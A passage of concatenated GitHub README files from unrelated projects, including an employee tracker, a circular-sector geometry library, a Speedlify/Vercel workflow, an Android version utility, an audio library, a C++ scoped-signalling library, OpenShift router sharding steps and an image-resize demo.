  * [Aaron Platt](https://github.com/aaronkplatt)
  * [Matthew Rogers](https://github.com/Rogers-Development-Services)
  * [Nancy Lambert-Brown](https://github.com/n-lambert)
  * [Plover Brown](https://github.com/rebgrasshopper)
  * [Nicholas Konzen](https://github.com/NTKonzen)
  * [Talia Vazquez](https://github.com/taliavazquez)
  * [ShieldsIO](https://shields.io/category/license)
  * [Nodejs.org](https://nodejs.org/en/)
  * [MySQL](https://www.mysql.com/)

  ## License ##

  https://api.github.com/licenses/mit

  ## Tests ##

  Using jest or mocha you can run tests through the application using npm test.

  ## Repository ##

  - [My Projects Repository](https://github.com/tbsanders5/employeetracker)

  ## Questions ##

  ![My Profile Picture](https://avatars0.githubusercontent.com/u/67024245?v=4)
  - Timothy Sanders
  - [My Profile](https://github.com/tbsanders5)
  - tbsanders5@gmail.com


text:
# Circular Sector

A set of functions computing cartesian coordinates, describing circular and annular sectors.

Usable for drawing circular things on ex. `svg` and `canvas` elements, but not bound to either of them.

Great for circular visualisations like spread, progress and reticulated splines.

## Install

`npm install @casko/circular-sector`

## Demo

A demo can be found [here](https://hallojoe.github.io/circular-sector/)

## Inline Examples

Examples generated using this thing:

### Circular Sectors

![Example](./examples/circular-sectors.svg)

### Annular sectors

![Example](./examples/annulus-sectors.svg)

### Circular sectors with margin

![Example](./examples/circular-sectors-with-margin.svg)

### Annular sectors with margin

![Example](./examples/annulus-sectors-with-margin.svg)

### UN World Goals logo

![Example](./examples/un-world-goals.svg)

### Ethics Compas

![Example](./examples/ethics-compas.svg)

## Usage

See repository `./demo` folder for examples.

## Todo

  - ~~Add links to demo~~
  - Center of mass and gravity

# Notes

 - 1.0.0 - Init
 - 1.0.1 - Update demo and minimize readme.

## See you

Thanks for getting this far. Please share result of usage.

Written in TypeScript.

repository: hallojoe/circular-sector

repo_name: hallojoe/circular-sector


text:
# Speedlify + GitHub Actions + Vercel

This repository demonstrates how you can configure GitHub Actions `workflow` to **continuously measure your website Lighthouse score** by using speedlify + GitHub actions for free. Then deploy the dashboard to Vercel.

This repository is based on the workflow in [ThewApp/speedlify-actions](https://github.com/ThewApp/speedlify-actions).

For more information, please read [ThewApp/speedlify-actions#README](https://github.com/ThewApp/speedlify-actions#readme).

## Usage

1. Get this workflow by one of these:
   * Clone this repository
   * [Import repository](https://github.com/new/import) to your account by enter `https://github.com/ThewApp/speedlify-actions`
   * [Use this repository as a template](https://github.com/ThewApp/speedlify-actions-vercel/generate)
   * Put [workflow file](.github/workflows/test-pages.yml) in your existing speedlify repository.

   Do **not** fork as GitHub Actions will not run on a forked repository.
1. Delete or skip the initial `_data/sites/*.js` files
1. Create your own file with a list of your own site URLs
1. [Add the following secrets](https://docs.github.com/en/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) to your repository:
    * `VERCEL_TOKEN`: You vercel account token obtained from https://vercel.com/account/tokens
    * `VERCEL_PROJECT`: Content of the `.vercel/project.json` file generated by `vc link` command.
1. Commit and push to your repository

[Demo site](https://speedlify-actions-vercel.vercel.app/) only have data on default site and Static Site Generator.

repository: janwillemwilmsen/snelste

gha_language: CSS

repo_name: janwillemwilmsen/snelste


text:
# Android Version

Utility to check Android version at runtime. Saves a few key strokes and **preserves lint checks**:

```java
if (Android.VERSION >= Android.M) {
  // marshmallow :tada:
}
```

![lint](./lint.png)

---

![android](https://img.shields.io/maven-central/v/io.noties/android.svg?label=android)

```groovy
annotationProcessor "io.noties:android:${latestVersion}"
```

Unfortunately in order to preserve lint checks, Android Studio must have code source of an utility that does that. Simply publishing such utility will not have proper lint checks (which kills the idea of such utility in the first place).

This library is implemented via annotation-processor which puts _source_ of `Android.java` in your project generated source files. Please note that `Android.java` will always have `io.noties.android.Android` name. If it's doesn't work for you, you can copy `Android.java` file manually and introduce the checks that you will require (the file is located at the root directory of this repository).

Annotation-processor will try to find `io.noties.android.Android` class, and if it will find it in the classpath of your project - will do nothing. So only one instance of `Android.java` will be present.

Annotation-processor does not require any _set-up_, like a placing an annotation anywhere in your project as it is configured to process `@NonNull` and `@Nullable` annotations from `com.android.support.annotation` and `androidx.annotation` packages.

**Please note** that this library will work as intended (with lint checks) **only if** annotation-processor is added to one of your modules inside one project. If you plan to distribute a module with annotation-processor added via Maven, the consumers of your module will end-up with a _lint-free_ version of this utility. As `Android.java` will be included in the bytecode form and Android Studio won't be able to process it.

## License

```
  Copyright 2019 Dimitry Ivanov<EMAIL_ADDRESS>
  Licensed under the Apache License, Version 2.0 (the "License");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
```

repository: noties/AndroidVersion

repo_name: noties/AndroidVersion


text:
## Using this library

    var ZokuAudio = require('zoku-audio');

### TwitterMood

This maintains a realtime mood of Twitter based on search terms. The "Mood" is a float that ranges from `0.0` (sad) to `1.0` (happy) based on [sentiment](https://github.com/thisandagain/sentiment). It's intended to be used as input for other processes.

Example use

    // Mood value to be updated
    var sharedMoodObj = { MOOD: 0.5 };

    ZokuAudio.TwitterMood(sharedMoodObj, {
      track: ['#ferguson','protest','cop','thug','saint louis'],
      language: 'en'
    });

    // Now you can pass the MOOD around..
    console.log(sharedMoodObj.MOOD);

### AudioPort

This is a simple wrapper for [node-core-audio](https://github.com/ZECTBynmo/node-core-audio). Pass it callbacks with `addAudioCallback`. See below for example use.

**WARNING**: Do all I/O and meaningful operations outside this callback as it will execute on the AudioPort thread and lag out your audio!

    var AudioPort = new ZokuAudio.AudioPort();

    // add a core audio callback
    AudioPort.addAudioCallback(function(engine) {

      var sample = 0;

      engine.addAudioCallback(function(buffer) {
          var output = [];
          for (var i = 0; i < buffer.length; i++, sample++) {

              // Pan two sound-waves back and forth, opposing
              var val1 = Math.sin(sample * 110.0 * 2 * Math.PI / 44100.0) * 0.25, val2 = Math.sin(sample * 440.0 * 2 * Math.PI / 44100.0) * 0.25;
              var pan1 = Math.sin(1 * Math.PI * sample / 44100.0), pan2 = 1 - pan1;

              var sine = val1 * pan2 + val2 * pan1;

              output.push(sine); //left channel
              output.push(sine); //right channel
          }
          return output;
      });

    });

repository: aphexddb/zoku-audio

repo_name: aphexddb/zoku-audio


text:
<!--- vim:spell:tw=80:fo=tawn
--->
scopegraph
==========

**scopegraph** is a C++ library for scoped signalling between agents. For that,
scopes can be defined in a directed acyclic graph that indicates subscope
relations. Each scope can be populated with agents who communicate by sending
and receiving signals. By default, agents send signals to all agents in their
own and lower scopes and receive signals from all agents in their own and
higher scopes.

**scopegraph** is build around [cohear](http://github.com/funkey/cohear), which
ensures very fast signalling and features automatic matching of compatible
signals.

Usage Example
-------------

### Creating Signals

Signals are just class instances (and are therefore encouraged to have state).
In order to take advantage of the automatic matching of inherited types (see
[cohear](http://github.com/funkey/cohear) for details), a parent type cue has
to be provided.

```c++
class A {};

class B {};

// invasive parent type cue
class B1 : public B { public: typedef B parent_type; };

class B2 : public B {};

// non-invasive parent type cue
namespace chr {
template <>
struct parent_of<B2> { typedef B value; };
}
```

### Creating Agents

New agents are created by inheriting from the class template `sg::Agent`, which
is refined by policies `sg::Accepts` and `sg::Provides`:

```c++
class MrSmith :
  public sg::Agent<
    MrSmith,
    sg::Provides<A, B1>,
    sg::Accepts<A, B>> {

public:

  // callbacks

  void onSignal(A&) { std::cout << "received signal A" << std::endl; }
  void onSignal(B&) { std::cout << "received signal B" << std::endl; }

  // example method sending signals

  void reveal() {

    // send default constructed signal
    send<A>();

    // send self-made signal by reference
    B1 b1;
    send(b1);
  }
};
```

### Connecting Agents

Agents are automatically connected when they are added to a scope:

```c++
auto smith1 = std::make_shared<MrSmith>();
auto smith2 = std::make_shared<MrSmith>();
auto scope  = std::make_shared<sg::Scope>();

scope.add(smith1);
scope.add(smith2);

smith1->reveal();
```

By calling `reveal()` on `smith1`, `smith2` receives signals `A` and `B`, where signal `B1` was automatically
cast to the callback of signal `B`:

```
received signal A
received signal B
```

Scopes are also agents, and can therefore be nested. By default, scopes forward
signals downwards. The following snippet produces the same output as above:

```c++
auto smith1 = std::make_shared<MrSmith>();
auto smith2 = std::make_shared<MrSmith>();
auto scope1 = std::make_shared<sg::Scope>();
auto scope2 = std::make_shared<sg::Scope>();

scope1.add(smith1);
scope1.add(scope2);
scope2.add(smith2);

smith1->reveal();
```

repository: funkey/scopegraph

repo_name: funkey/scopegraph


text:
Router Sharding
---------------

[Router Sharding](https://docs.openshift.com/container-platform/3.5/architecture/core_concepts/routes.html#router-sharding) is running multiple router deployments each serving different sets of routes.  It's described in detail in the Routes section of the documentation.  Also see, Using the Default HAProxy Router

Two new nodes were provisioned and labeled region=dmzinfra and region=dmzprimary.

The new router (representing a DMZ) would run on nodes with region=dmzinfra, while the old router would continue to run on all nodes labeled region=infra.

Router sharding is accomplished by giving different routers different selection criteria to limit the routes provided by a router.  For this experiment, namespaces/projects were used as a filter, although labels on routes can also be used to filter.

Routes in projects labeled zone=dmz would be serviced by the DMZ router.  All other routes would be serviced by the regular router.

First to set up the DMZ router:

```
[user@host ~ ]$ oc project default
[user@host ~ ]$ oadm router router-shard-dmz --replicas=0 --selector='region=dmzinfra'
[user@host ~ ]$ oc set env dc router-shard-dmz NAMESPACE_LABEL='zone=dmz'
[user@host ~ ]$ oc scale dc router-shard-dmz --replicas=1
```
Second modify the old router to not accept:
```
[user@host ~ ]$ oc project default
[user@host ~ ]$ oc set env dc router NAMESPACE_LABEL='zone notin (dmz)'

# This should trigger a redeploy, but if not manually redeploy it:
[user@host ~ ]$ oc rollout latest router
```

Third, label a project:
```
[user@host ~ ]$ oc label namespace dmztest zone=dmz
```

gha_language: Go


text:
# Image Resize

This is a demo project for resizing images using parameters in an XML configuration file.

## Project structure
``` XML
<folder name="ImageResize" description="">
  <folder name="config" description="Contains configuration XML files." ></folder>
  <folder name="src" description="The main source folder.">
    <folder name="archive" description="The archive of images at full resolution." ></folder>
    <folder name="cache" description="The folder of resized images." ></folder>
    <folder name="archive" description="The code of resizers.">
      <folder name="resources" description="The resource that each resizer should be able to resize."></folder>
    </folder>
  </folder>
</folder>
```

repository: mbellagamba/ImageResize

repo_name: mbellagamba/ImageResize